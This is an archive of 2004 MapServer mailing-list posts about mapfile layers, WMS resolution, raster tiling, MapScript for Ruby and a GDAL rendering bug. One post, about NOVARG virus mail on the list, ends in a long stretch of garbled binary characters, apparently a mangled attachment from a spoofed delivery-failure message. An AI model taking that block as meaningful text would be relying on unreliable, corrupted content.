Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From jhart@frw.uva.nl Mon Feb 2 16:03:28 2004 From: jhart@frw.uva.nl (Jan Hartmann) Date: Mon, 02 Feb 2004 17:03:28 +0100 Subject: [Mapserver-users] Changing inline features with CGI parameters In-Reply-To: <006901c3e996$89192ac0$6400a8c0@BLANKEN> References: <000001c3e5d8$0f2d0090$6895c3d8@sebois> <401E5758.8060501@frw.uva.nl> <006901c3e996$89192ac0$6400a8c0@BLANKEN> Message-ID: <401E74D0.3020608@frw.uva.nl> Wim Blanken (PI) wrote: > Hello Jan, > > Possible solutions...... > > -Did you specify the TYPE of the Layer? > -I use TRANSFORM OFF (and not False). > > So...... > > TYPE annotation > TRANSFORM OFF > > If this is no solution, could you specify a more complete mapfile? > No, my feature layer works OK. Only when I try to change the feature's text or position from the URL, I get back either no feature (when using feature=new with an existing feature in the mapfile) or a segfault (when using feature_text without having specified feature=new). This is the (working) layer definition: layer name leg status default type point transform false class label color 155 0 155 end end end The TYPE does not seem to matter: whatever type is specified, the behavior is the same. Jan From sp_ml@sourcepole.com Mon Feb 2 16:04:12 2004 From: sp_ml@sourcepole.com (Pirmin Kalberer) Date: Mon, 2 Feb 2004 17:04:12 +0100 Subject: [Mapserver-users] ANN: MapScript for Ruby Message-ID: <200402021704.12721.sp_ml@sourcepole.com> A Ruby binding for Mapscript is available at: http://www.sourcepole.com/mapdesk/index.xml#mapscript The package contains some simple examples and a patch of the mapscript.i file. Building and installing: -Unpack the tgz into the mapscript directory -patch Message-ID: > > It is easy to calculate just get the polygon shape object and extract > the polygon vertices. Then walk through the line segment and sum the > area under the line segment. Or if the vertex points are in array v > then in sudo-code: > > area = 0; > for (i=1; i area = area + (v[i].x - v[i-1].x)*(v[i-1].y + (v[i].y - v[i- > 1].y)/2.0); > } > // and close the gap if any between the last and the first > area = area + (v[0].x - v[numPoints-1].x)*(v[numPoints-1].y + (v[0].y > - v[numPoints-1].y)/2.0); Note that this is a 'flat earth' solution and the correspondence of the solution obtained with what a surveyor might measure on the actual 'ground' is *very* dependent on the size of the area, it's location and the projection method used. For example if a latlon representation of the points is used this will be ~accurate only for small areas near the equator. http://math.rice.edu/~pcmi/sphere/ http://www.geodyssey.com/papers/ggelare.html Cheers Norman From stephen.clark@focus.ca Mon Feb 2 17:14:34 2004 From: stephen.clark@focus.ca (Stephen Clark) Date: Mon, 2 Feb 2004 09:14:34 -0800 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency References: <13858AA1A74F30419F319ACB66A9D12203B2A8@mercator.topozone.com> Message-ID: <00c701c3e9b0$076e2240$6c000a0a@sclark> Ed, How would I do that with the following layer for CanImage: e.g., using the BBOX parameter ??? LAYER # Centre d'information Topographique - CIT Sherbrooke NAME "CANIMAGE" TYPE RASTER OFFSITE 0 0 0 STATUS on CONNECTIONTYPE WMS CONNECTION "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" METADATA "wms_title" "CANIMAGE" "wms_name" "CANIMAGE:CanImage/CanImage" "wms_server_version" "1.1.0" "wms_srs" "epsg:26910" "wms_format" "image/png" END PROJECTION "init=epsg:26910" END END # Thanks Stephen ----- Original Message ----- From: "Ed McNierney" To: "Kralidis,Tom [Burlington]" ; "Stephen Clark" ; "Frank Warmerdam" Cc: Sent: Friday, January 30, 2004 6:51 PM Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Folks - The concept of a 300 dpi image from spatial imagery is nothing more than a convenient fiction. EVERY WMS command produces a 300 dpi image - at a certain output scale. You need to define one more variable - the geographic dimensions of a pixel. This will let you calculate the image size you want. Say, for example, you want to create a 300 dpi image in which each pixel represents 15 meters (in each dimension). This means each inch on the output product will be 300 x 15 meters, so your output scale is 1 inch = 300 x 15 meters or 1 inch = 300 x 15 x 39.37 inches - a scale of 1:177,165. If you'd like to do that, and produce a 6" x 6" 300 dpi image at a resolution of 15 meters per pixel, your WMS request asks for 6 x 300 x 15 or 27,000 meters in each dimension (in the BBOX parameter) and asks for a WIDTH and HEIGHT of 1,800 pixels (6 inches at 300 dpi). If you'd like the image to be 10 meters per pixel, or 30 meters per pixel, you would request a BBOX where delta X and delta Y were both 18,000 meters or 54,000 meters respectively. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis@ec.gc.ca] Sent: Friday, January 30, 2004 7:58 PM To: 'Stephen Clark'; Frank Warmerdam Cc: mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency > -----Original Message----- > From: Stephen Clark [mailto:stephen.clark@focus.ca] > Sent: Friday, January 30, 2004 7:57 PM > To: Kralidis,Tom [Burlington]; Frank Warmerdam > Cc: mapserver-users@lists.gis.umn.edu > Subject: Re: [Mapserver-users] I have some landsat 7 data that I want > to tile : overlap + transparency > > > Tom, > > Is this the same as the CANIMAGE WMS layer from : > > "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > The CanImage layer is a processed set, with no overlaps, at 15m resolution. The CCRS Landsat are band 743, as distributed by GeoGratis. Same base product, different pre-processing done to the data. IMHO, the CanImage product looks more seamless. > If so I already have this layer added to MapServer. > > My use of Landsat 7 Imagery is for a backdrop in my PDF files. But I > cannot get the WMS server to produce a 300 dpi image so I need to copy > them locally to produce the 300 dpi PDF files. > > Do you know of a WMS command that will produce an image ad a > particular DPI? > No, anyone else got an idea here? ..Tom > thanks > Stephen > > ----- Original Message ----- > From: "Kralidis,Tom [Burlington]" > To: "'Stephen Clark'" ; "Frank Warmerdam" > > Cc: > Sent: Friday, January 30, 2004 2:59 PM > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want > to tile : overlap + transparency > > > > > > Hi Stephen, > > > > What are your requirements for using the Landsat 7 Orthoimagery in > > MapServer? > > > > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery > > collection, which is on GeoGratis, available as OGC:WMS: > > > > URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi > > Layer name: L7O_B743:CEOWARE2 > > > > Note that this layer is also timestamped, i.e. you can > query via TIME > > in OGC:WMS also. The scenes' black areas are transparent. > > > > Just thought it'd be easier to point to an OGC:WMS of this > data rather > than > > roll your own. > > > > Another comment: I'd be interested, as a separate exercise, how > > MapServer deals with overlapping images in a given layer. > What kind > > of algorithm is done between scenes which overlap? > > > > Thanks > > > > ..Tom > > > > ========================= > > Tom Kralidis > > Systems Scientist > > Environment Canada > > Tel: +01-905-336-4409 > > http://www.ec.gc.ca/cise/ > > > > ========================= > > > > > -----Original Message----- > > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > > Sent: Friday, January 30, 2004 6:52 PM > > > To: Frank Warmerdam > > > Cc: mapserver-users@lists.gis.umn.edu > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > want to tile : overlap + transparency > > > > > > > > > Frank, > > > > > > My landsat data is from the Geogratis web site : > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/ > > > > > > Specifically these three scenes as example: > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > tm/047021/ > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > tm/048021/ > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > tm/049021/ > > > > > > I compressed the files to ECW and produced this layer: > > > > > > LAYER > > > NAME landsat_048_021_rgb > > > DATA > > > > "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw" > > > TYPE RASTER > > > STATUS ON > > > TRANSPARENCY 60 > > > > > > # turn off the black background in the image files > > > OFFSITE 0 0 0 > > > END > > > > > > > > > >Do all the images have the same background value? YES > -- they do. > > > There is a residual amount of black fuzziness around the scenes > > > after using the above OFFSITE command. > > > > > > Here is a LAYER file for the tiled index of Landsat scenes: > > > > > > LAYER > > > NAME landsat_tile > > > TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp" > > > TILEITEM "location" > > > TYPE RASTER > > > STATUS ON > > > TRANSPARENCY 60 > > > > > > # turn off the black background in the image files > > > OFFSITE 0 0 0 > > > > > > METADATA > > > WMS_TITLE "Lansdat 7 Imagery " > > > WMS_ABSTRACT "N/A" > > > WMS_SRS "EPSG:26910" > > > END > > > > > > END > > > > > > But this tiled layer does not have any transparency. How would I > > > fix this? > > > > > > thanks > > > Stephen > > > > > > ----- Original Message ----- > > > From: "Frank Warmerdam" > > > To: "Stephen Clark" > > > Cc: > > > Sent: Friday, January 30, 2004 2:31 PM > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > want to tile : overlap + transparency > > > > > > > > > > Stephen Clark wrote: > > > > > Hi All, > > > > > > > > > > > > > > > I have some landsat 7 data that I want to tile but the scenes > > > > > overlap. > > > > > > > > > > Can I use some sort of command that can be added to the > > > "gdaltindex" > > > > > command to add a transparency value to these scenes > so that the > > > > > overlap areas can show through. > > > > > > > > Stephen, > > > > > > > > Do all the images have the same background value? If > so, use it > > > > as the offsite value for the whole layer and it will be used > > > with all the > > > > images. The other alternative is to store the tiles in a format > > > > for which GDAL recognises "nodata" values, but this isn't very > > > convenient > > > > to arrange. There is no way to include nodata values in > the raster > > > > tile index. > > > > > > > > Best regards, > > > > -- > > > > > > > > ---------------------------------------+---------------------------- > > > ---------------------------------------+-- > > > > ---------------------------------------+---- > > > ---- > > > > I set the clouds in motion - turn up | Frank Warmerdam, > > > warmerdam@pobox.com > > > > light and sound - activate the windows | > http://pobox.com/~warmerdam > > > > and watch the world go > round - Rush | Geospatial > > > Programmer for Rent > > > > > > > > > > > > > > > > > > _______________________________________________ > > > Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rich@greenwoodmap.com Mon Feb 2 09:15:02 2004 From: rich@greenwoodmap.com (Richard Greenwood) Date: Mon, 02 Feb 2004 09:15:02 +0000 Subject: [Mapserver-users] zoom to result (was MapServer) In-Reply-To: <401E1BC7.11571.16AD2520@localhost> References: <401E1BC7.11571.16AD2520@localhost> Message-ID: <401E1516.1060508@greenwoodmap.com> On 2 Feb 2004 at 16:21, Charles Young wrote: >>Hi, >> >>Do you possibly know of a way to run a dynamic search in MapServer and >>then zoom to the result? >> >> >>Best Regards >> >>Charles Young >>Director: Business Development >> >>Spatial Dimension >>Cape Town >>South Africa >>Tel: +2721 531 3132 >>Fax: +2721 531 4209 >>Cell: 083 679 1789 >>Web: www.spatialdimension.co.za >> >>ESRI Foundation Business Partner of the Year 2003 >> >> Take a look at mode=itemquery. Following is example HTML code to put a "Show Map" button into a listing page. This is a bare-bones HTML example, it can also be done with Javascript, and there are a lot of other possible options and variations. Cut and paste the following into a listing page.
Explanation by line: 1.
Open an HTML form element so we can submit to the server. action="/mapserver/mapserv.exe" The URI to the CGI. This assumes that mapserver is on the same server as the calling page. If not, a fully qualified URI can be specified. 2. The "map" file is mapserver's configuration file, it defines layers, sets styles and colors, specifies paths, etc. It will always be same. 3. Mode tells mapserver what we want it to do, in this case - draw a map zoomed in on the specified property. 4. The qlayer (query layer) will highlight the selected property, we can set the style, color,labeling, etc. with this layer. 5. This is the column name in the mapserver database to query against. 6. This requires a pretty lengthy eplanation. Just go with it for now. 7. Here we are telling mapserver to keep the selected property highlighted. This is optional. 8. The value being searched for. 9. Submit the form. -- Richard Greenwood www.greenwoodmap.com From mapserver@digger.net Mon Feb 2 16:11:05 2004 From: mapserver@digger.net (mapserver@digger.net) Date: Mon, 2 Feb 2004 10:11:05 -0600 (CST) Subject: [Mapserver-users] MapServer 4.0 Tutorial problems Message-ID: <200402021611.i12GB5AP024183@lists.gis.umn.edu> I've been going through the tutorial, and have run into some problems with it. The first one is in exercise 1-4, where labeling is introduced. These lines: TYPE TRUETYPE FONT arial-bold cause an "Internal Server Error" from Apache. The TYPE line by itself just produces this (as expected): msGetLabelSize(): TrueType Font error. Requested font (NULL) not found. But when both are present, MapServer fails. Where might I look for a solution to this? "mapserv -v" reports: MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Thanks, Dave From cpurvis@asg.sc.edu Mon Feb 2 16:30:53 2004 From: cpurvis@asg.sc.edu (Charlton Purvis) Date: Mon, 2 Feb 2004 11:30:53 -0500 Subject: [Mapserver-users] bizarre raster output Message-ID: Perry: Again, thanks so much for the help and whipping up your test run. I just upgraded gdal to 1.1.9, and all seems well. Charlton > -----Original Message----- > From: Pericles Nacionales [mailto:nacional@cbs.umn.edu] > Sent: Thursday, January 29, 2004 7:16 PM > To: Charlton Purvis > Cc: mapserver-users@lists.gis.umn.edu; Brock Murch; Jeremy Cothran > Subject: Re: [Mapserver-users] bizarre raster output > > Charlton, > > Check http://hypnos.cbs.umn.edu/projects/gdal_segfault.html. Is this what > it's supposed to look like? I'm running MapServer 4.0.1 but compiled gdal > from cvs just a couple days ago. PNG support was compiled using external > libpng version 1.2.5. > > You might want to upgrade your libpng. > > -Perry N. > > > On Thu, 29 Jan 2004, Charlton Purvis wrote: > > > Hi, folks: > > > > I've got a raster .png, 8800 x 6600, complete w/ a working .wld. The > > original raster has some color on the left side, and the rest of the > > image is transparent. > > > > I expected to see the Pacific covered by this raster and the rest of the > > Eastern part left alone. But the attached image is what I get. > > Bizarre. Is there a max pixel image size? The entire PNG is a mere > > 2MB. > > > > Anyone seen anything like this? It's purty, but it ain't gunna cut it. > > > > MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=EPPL7 > > INPUT=JPEG INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > gdal-1.1.8 (plain ./configure) > > > > EXTENT -125 -5 -45 55 > > SIZE 880 660 > > IMAGETYPE PNG # I've also tried RGBA w/ TRANSPARENCY ON > > > > The PROJECTIONs are the same. Also tried stripping out everything > > (including projections) but the raster layer. Same results. > > > > Aha! I just ran a gdalinfo, and I get a seg fault. Anyone mind > > checking it out? Original raster (non-transparent) is here: > > http://nautilus.baruch.sc.edu/~cpurvis/. > > > > I don't think the file is corrupt since it displays OK in Photoshop, and > > ImageMagick is OK w/ it, too. > > > > Thanks, > > > > Charlton > > > > > > > > > > Charlton Purvis > > (803) 777-8858 : voice > > (803) 777-3935 : fax > > cpurvis@sc.edu > > > > Baruch Institute > > University of South Carolina > > Columbia, SC 29208 > > > > From ed@topozone.com Mon Feb 2 16:42:34 2004 From: ed@topozone.com (Ed McNierney) Date: Mon, 2 Feb 2004 11:42:34 -0500 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3B02@mercator.topozone.com> Stephen - You need to decide what spatial resolution (meters per pixel) you want to have in the output image - if you want it to be the same as the "full resolution" input image, then you need to know the resolution of that image. Then if you want a 300 DPI output image, you'll want to multiply the physical size of the output image in inches by 300 - that gives you the WIDTH and HEIGHT values in pixels - and then multiply THOSE numbers by the number of meters per pixel to get the BBOX extents in meters. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 -----Original Message----- From: Stephen Clark [mailto:stephen.clark@focus.ca] Sent: Monday, February 02, 2004 12:15 PM To: Ed McNierney; Kralidis,Tom [Burlington]; Frank Warmerdam Cc: mapserver-users@lists.gis.umn.edu Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Ed, How would I do that with the following layer for CanImage: e.g., using the BBOX parameter ??? LAYER # Centre d'information Topographique - CIT Sherbrooke NAME "CANIMAGE" TYPE RASTER OFFSITE 0 0 0 STATUS on CONNECTIONTYPE WMS CONNECTION "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" METADATA "wms_title" "CANIMAGE" "wms_name" "CANIMAGE:CanImage/CanImage" "wms_server_version" "1.1.0" "wms_srs" "epsg:26910" "wms_format" "image/png" END PROJECTION "init=epsg:26910" END END # Thanks Stephen ----- Original Message ----- From: "Ed McNierney" To: "Kralidis,Tom [Burlington]" ; "Stephen Clark" ; "Frank Warmerdam" Cc: Sent: Friday, January 30, 2004 6:51 PM Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Folks - The concept of a 300 dpi image from spatial imagery is nothing more than a convenient fiction. EVERY WMS command produces a 300 dpi image - at a certain output scale. You need to define one more variable - the geographic dimensions of a pixel. This will let you calculate the image size you want. Say, for example, you want to create a 300 dpi image in which each pixel represents 15 meters (in each dimension). This means each inch on the output product will be 300 x 15 meters, so your output scale is 1 inch = 300 x 15 meters or 1 inch = 300 x 15 x 39.37 inches - a scale of 1:177,165. If you'd like to do that, and produce a 6" x 6" 300 dpi image at a resolution of 15 meters per pixel, your WMS request asks for 6 x 300 x 15 or 27,000 meters in each dimension (in the BBOX parameter) and asks for a WIDTH and HEIGHT of 1,800 pixels (6 inches at 300 dpi). If you'd like the image to be 10 meters per pixel, or 30 meters per pixel, you would request a BBOX where delta X and delta Y were both 18,000 meters or 54,000 meters respectively. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis@ec.gc.ca] Sent: Friday, January 30, 2004 7:58 PM To: 'Stephen Clark'; Frank Warmerdam Cc: mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency > -----Original Message----- > From: Stephen Clark [mailto:stephen.clark@focus.ca] > Sent: Friday, January 30, 2004 7:57 PM > To: Kralidis,Tom [Burlington]; Frank Warmerdam > Cc: mapserver-users@lists.gis.umn.edu > Subject: Re: [Mapserver-users] I have some landsat 7 data that I want > to tile : overlap + transparency > > > Tom, > > Is this the same as the CANIMAGE WMS layer from : > > "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > The CanImage layer is a processed set, with no overlaps, at 15m resolution. The CCRS Landsat are band 743, as distributed by GeoGratis. Same base product, different pre-processing done to the data. IMHO, the CanImage product looks more seamless. > If so I already have this layer added to MapServer. > > My use of Landsat 7 Imagery is for a backdrop in my PDF files. But I > cannot get the WMS server to produce a 300 dpi image so I need to copy > them locally to produce the 300 dpi PDF files. > > Do you know of a WMS command that will produce an image ad a > particular DPI? > No, anyone else got an idea here? ..Tom > thanks > Stephen > > ----- Original Message ----- > From: "Kralidis,Tom [Burlington]" > To: "'Stephen Clark'" ; "Frank Warmerdam" > > Cc: > Sent: Friday, January 30, 2004 2:59 PM > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want > to tile : overlap + transparency > > > > > > Hi Stephen, > > > > What are your requirements for using the Landsat 7 Orthoimagery in > > MapServer? > > > > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery > > collection, which is on GeoGratis, available as OGC:WMS: > > > > URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi > > Layer name: L7O_B743:CEOWARE2 > > > > Note that this layer is also timestamped, i.e. you can > query via TIME > > in OGC:WMS also. The scenes' black areas are transparent. > > > > Just thought it'd be easier to point to an OGC:WMS of this > data rather > than > > roll your own. > > > > Another comment: I'd be interested, as a separate exercise, how > > MapServer deals with overlapping images in a given layer. > What kind > > of algorithm is done between scenes which overlap? > > > > Thanks > > > > ..Tom > > > > ========================= > > Tom Kralidis > > Systems Scientist > > Environment Canada > > Tel: +01-905-336-4409 > > http://www.ec.gc.ca/cise/ > > > > ========================= > > > > > -----Original Message----- > > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > > Sent: Friday, January 30, 2004 6:52 PM > > > To: Frank Warmerdam > > > Cc: mapserver-users@lists.gis.umn.edu > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > want to tile : overlap + transparency > > > > > > > > > Frank, > > > > > > My landsat data is from the Geogratis web site : > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/ > > > > > > Specifically these three scenes as example: > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > tm/047021/ > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > tm/048021/ > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > tm/049021/ > > > > > > I compressed the files to ECW and produced this layer: > > > > > > LAYER > > > NAME landsat_048_021_rgb > > > DATA > > > > "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw" > > > TYPE RASTER > > > STATUS ON > > > TRANSPARENCY 60 > > > > > > # turn off the black background in the image files > > > OFFSITE 0 0 0 > > > END > > > > > > > > > >Do all the images have the same background value? YES > -- they do. > > > There is a residual amount of black fuzziness around the scenes > > > after using the above OFFSITE command. > > > > > > Here is a LAYER file for the tiled index of Landsat scenes: > > > > > > LAYER > > > NAME landsat_tile > > > TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp" > > > TILEITEM "location" > > > TYPE RASTER > > > STATUS ON > > > TRANSPARENCY 60 > > > > > > # turn off the black background in the image files > > > OFFSITE 0 0 0 > > > > > > METADATA > > > WMS_TITLE "Lansdat 7 Imagery " > > > WMS_ABSTRACT "N/A" > > > WMS_SRS "EPSG:26910" > > > END > > > > > > END > > > > > > But this tiled layer does not have any transparency. How would I > > > fix this? > > > > > > thanks > > > Stephen > > > > > > ----- Original Message ----- > > > From: "Frank Warmerdam" > > > To: "Stephen Clark" > > > Cc: > > > Sent: Friday, January 30, 2004 2:31 PM > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > want to tile : overlap + transparency > > > > > > > > > > Stephen Clark wrote: > > > > > Hi All, > > > > > > > > > > > > > > > I have some landsat 7 data that I want to tile but the scenes > > > > > overlap. > > > > > > > > > > Can I use some sort of command that can be added to the > > > "gdaltindex" > > > > > command to add a transparency value to these scenes > so that the > > > > > overlap areas can show through. > > > > > > > > Stephen, > > > > > > > > Do all the images have the same background value? If > so, use it > > > > as the offsite value for the whole layer and it will be used > > > with all the > > > > images. The other alternative is to store the tiles in a format > > > > for which GDAL recognises "nodata" values, but this isn't very > > > convenient > > > > to arrange. There is no way to include nodata values in > the raster > > > > tile index. > > > > > > > > Best regards, > > > > -- > > > > > > > > ---------------------------------------+---------------------------- > > > ---------------------------------------+-- > > > > ---------------------------------------+---- > > > ---- > > > > I set the clouds in motion - turn up | Frank Warmerdam, > > > warmerdam@pobox.com > > > > light and sound - activate the windows | > http://pobox.com/~warmerdam > > > > and watch the world go > round - Rush | Geospatial > > > Programmer for Rent > > > > > > > > > > > > > > > > > > _______________________________________________ > > > Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jhart@frw.uva.nl Mon Feb 2 16:59:48 2004 From: jhart@frw.uva.nl (Jan Hartmann) Date: Mon, 02 Feb 2004 17:59:48 +0100 Subject: [Mapserver-users] ANN: MapScript for Ruby In-Reply-To: <200402021704.12721.sp_ml@sourcepole.com> References: <200402021704.12721.sp_ml@sourcepole.com> Message-ID: <401E8204.8020107@frw.uva.nl> Pirmin Kalberer wrote: > A Ruby binding for Mapscript is available at: > http://www.sourcepole.com/mapdesk/index.xml#mapscript > > The package contains some simple examples and a patch of the > mapscript.i file. > Building and installing: > -Unpack the tgz into the mapscript directory > -patch -ruby extconf.rb > -make > -su > -make install > > Regards, > > Pirmin Kalberer > Sourcepole - Linux & Open Source Solutions > http://www.sourcepole.com > _______________________________________________ *Very* interesting. This site has also a bootable GIS CD, based on Knoppix, and a Delphi/Kylix interface for MapServer. Wouldn't it be a good idea to put these three links on the "contributed software" page? Jan From steve.lime@dnr.state.mn.us Mon Feb 2 17:00:14 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Mon, 02 Feb 2004 11:00:14 -0600 Subject: [Mapserver-users] Virus via list Message-ID: Wasn't from me, my machine is clean, someone sent on my behalf... >>> "Lists" 2/2/2004 7:36:35 AM >>> Guys, My virus scanner (Norton) has been blocking at least 3 mails today that are infected with the NOVARG virus. Please take you measures before we all get infected. Met vriendelijke groet, Bart van Heijningen ATsence BV T: 030-2314922 F: 030-2314935 Gsm: 06-51512696 E-mail: bart@atsence.nl Url: www.atsence.nl -----Oorspronkelijk bericht----- Van: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu] Namens steve.lime@dnr.state.mn.us Verzonden: maandag 2 februari 2004 12:52 Aan: mapserver-users@lists.gis.umn.edu Onderwerp: [Mapserver-users] Mail Delivery System *_"q&z*ÍüÁ×ć ĘĄ×ÔH*ŠďŔMr÷cÂî1cĐ*ÖBú**Yú**ľăE_cq*EÂÜĄŃőĆ*ŁDě 1*2* ř**ŮZš**üŔ*IHIđBŐdć˛;}XĽ9n'}*s;ËÍ;ä%|!~|žľŕUţ ŠřNňqN*Ť*ĎcZJ\şç(*"**LśSŢĹ*[ăńҽä;Ĺ|ţśś***Ö'ť2Ť\äiüX'"§ř-H*ĹVŢ*Ys˝**k**ŞĄ 9* ń#ĺĺĎK*Ľ**÷ŔŘ(żMg$U§ü*BK'××äGlW*XĆ &ňňÄĘzŇ*Ŕî***Ů9ąQň* y{v*Ëś,*Pt ľđ°×*Zźî**bčÔ|*5ÎxwI*W7UŠ<.5*˛óAŰ1ö°'Łć°č*** ĂĘîZú*÷řEîń*NsÓŮ_Ĺč-[Ž*h*J*A!3š¤}}*ŔA**VO_2QDÇîÎÇz*Zń$?ďť"×dŮp*"')**N*ń*ýąÂCň5JŢtŞ*W_Š*z ÍňG~_9çÖÚ*ge?éŮ'p˛¤*˝Ć)Ú"Đł*Vď*Ç ĎúĐDţJ~Ŕ ŐEÝăĆ*žp"óŞóÓ"**'ýw NtxÝ*O*O{*"*ě}ß 3-XF*Ř***LąauLö>3áśě9JĹĄl<*Ň(Ez*×*'[ű**E X0ř$*zČ*ÂZ9J"(*3śĄŐX*ű:˛*Anr*Ŕ3ÔSüźčšá}*ŘRX8]*XĽO*đ*×íCú*Ö*Ýşl8Ŕ§X*Őąm âž8Žű*Uľq*Ň%ő***°É빍O"7QIÜő`*ě#Č*Ž)b×SłJžËsxßjC*,ĹY˘%**%C˛ĺ°ń*2'*áĂ*Ä|ň<řOG;dĘh°°*÷8ţć*ţŽÝÁN5**O1_Ű**bź*GóÉjčąŘŢ]č*'iř3*Ç&ĹfÄěč3*Ň>*Óť8Äj**ZçŕěpHťüvîćr**éŘ5ŕeßčľĹF*zYßN#^**%DŤ15îKîÖ|***$AňntBsm%U**^uźQd8QInS**Ŕq*6**(É.c*ĺëRzÝŐž˝ŐíĺN-şrjRXĚF °Ŕ;ŠÎ&¤*źŤďÉ*V ,*:ÄUrď y*ŁfénŽ3×*ók|âVwRNdÜŕ9>űČ3ßgiA*FÉÚbĂ*ćÇŰ~v'n**gŐKd/&Ăä**˝*íO|,Ńg*alˇé*kÜÂŤŢ.ô*Ď(z*XÚ)ÇŠÚ*BĄ*L*gtůßÎ* ˝Yܧ**ý##%¤7P*^áQŰ%ţż|"î*>i*/Vrđů*ăDg~*Ö˘>,*çN*Í!Z|Óă}*IBo ä F*fÖ7*ÜBÔň*Ďůę0TvFQÚtËÎ{púk*i)žÎăMâ"D,Đ%LĄUv°9'0zs}9*ię*ËçéÝćNĹ*cÔáŤ**]VâÂcAîcGq*yčg **ăsŐŇđîgY§*żvW*15°6r*˝8*ąRz*ś§jč*˝*ë"ÖŐzÍ&*ˇfŤšÁĚ3<-Ž_ÜŽŢ÷PďĚľ*M*r\*ś°tř*Łz*ĺ*°Änk^çŮ*UC-!*uÄ*˝_]PX^4X*aÝ°śç.$&<ů*łPCžőĎ8ßFdS˝ýđxŮÍ*4{IP*é-}UÔ§ŁĚ˘ą?-gwäQá¤Ŕgá|Ę*Ô*ś**[ÚćAŐ72"5Ř*** -LÚîŐĹAmÔBÂęę From warmerdam@pobox.com Mon Feb 2 17:29:09 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Mon, 02 Feb 2004 12:29:09 -0500 Subject: [Mapserver-users] MapServer Bug - Tiled Rasters Message-ID: <401E88E5.5050500@pobox.com> Folks, I just wanted to notify everyone that there was a serious bug introduced in the MapServer 4.0 release with handling of colors when rendering GDAL files. The most likely way this would show up would be missing or mis-rendered tiles when using a raster tile index and classes to provide coloring to an 8bit pseudo-colored output. There is a trivial patch that can be applied to MapServer 4.0 or MapServer 4.1 source if needed, and the fix has been incorporated into CVS and will appear in future releases of MapServer. The bug is further described at: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=504 I would like to thank Stepan Kafka for excellent data to reproduce the problem. I feel quite bad that it took me over a month to return to the problem after he provided the test data. I suspect this is related to some of the other problems with raster tile indexes people have been reporting. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From 